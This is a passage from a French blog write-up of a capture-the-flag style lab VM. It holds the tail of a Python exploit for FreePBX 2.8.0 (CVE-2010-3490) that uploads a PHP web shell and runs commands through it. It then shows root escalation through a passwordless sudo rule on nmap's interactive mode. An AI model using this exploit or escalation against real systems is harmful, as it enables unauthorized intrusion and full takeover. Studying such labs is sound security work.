        'ivrfile': ('backdoor.php', content, 'application/octet-stream')
        }
hdrs = {"referer": BASE + "config.php?type=setup&display=recordings"}

r = sess.post(BASE + "config.php?type=setup&display=recordings",
        data=data,
        files=files,
        auth=creds,
        headers=hdrs)

print("[i] Testing shell at address {0}{1}-ivrrecording.php".format(BASE, KEYW))
r = requests.get(BASE + KEYW + "-ivrrecording.php?cmd=uname+-a", auth=creds)
if r.status_code != 200:
    print("[-] Received HTTP code {0} for this url".format(r.status_code))
else:
    print("HTTP 200 OK")
    print r.content
L'upload passe correctement :
$ python sploit.py 
devloop exploit for FreePBX <= 2.8.0 (CVE-2010-3490)
Usage: {0} <url_to_freepbx_admin_directory> <username> <password>
$ python sploit.py http://192.168.1.67/admin/ support securesupport123
devloop exploit for FreePBX <= 2.8.0 (CVE-2010-3490)
[+] Connection successful
[i] Testing shell at address http://192.168.1.67/admin/devloop-ivrrecording.php
HTTP 200 OK
Linux vulnvoip.localdomain 2.6.18-308.16.1.el5 #1 SMP Tue Oct 2 22:01:37 EDT 2012 i686 i686 i386 GNU/Linux
Les scripts PHP tournent avec les droits d'asterisk (uid=101(asterisk) gid=103(asterisk) groups=103(asterisk))

Après la mise en place d'un serveur tsh je remarque qu'il n'y a pas d'utilisateurs sur le système (pas de dossiers dans /home).

The way to root

On trouve un fichier appartenant à root et word-writable qui semble d'aucune utilité :
bash-3.2$ find / -user root -perm -o+w -type f 2> /dev/null  | grep -v /proc
/var/spool/asterisk/voicemail/default/2000/INBOX/msg0001.txt
bash-3.2$ cat /var/spool/asterisk/voicemail/default/2000/INBOX/msg0001.txt
;
; Message Information file
;
[message]
origmailbox=2000
context=macro-vm
macrocontext=from-internal
exten=s-CHANUNAVAIL
priority=2
callerchan=Local/2000@from-internal-ba5d;2
callerid=VMAIL/2000
origdate=Mon Sep 29 08:22:29 PM UTC 2014
origtime=1412022149
category=
flag=
duration=1
Par contre les permissions sudo sont visiblement à approfondir :
bash-3.2$ sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY"

Runas and Command-specific defaults for asterisk:


User asterisk may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /usr/bin/nmap
Je ne connais pas bien yum et je ne sais pas avec quelle facilité il est possible de lui faire exécuter des commandes...
On peut sinon utiliser yum pour installer un logiciel vulnérable et ensuite exploiter ce dernier ou créer un paquet rpm contenant une backdoor (un peu prise de tête).
Du coup, après un coup d’œil dans la page de manuel de nmap, je l'appelle en mode interactif et invoque /bin/bash :
bash-3.2$ sudo /usr/bin/nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/bash
bash-3.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
bash-3.2# cd /root
bash-3.2# ls
anaconda-ks.cfg  trophy.txt
bash-3.2# cat trophy.txt 
cc614640424f5bd60ce5d5264899c3be
Finish

Classé dans : Non classé - Mots clés : aucun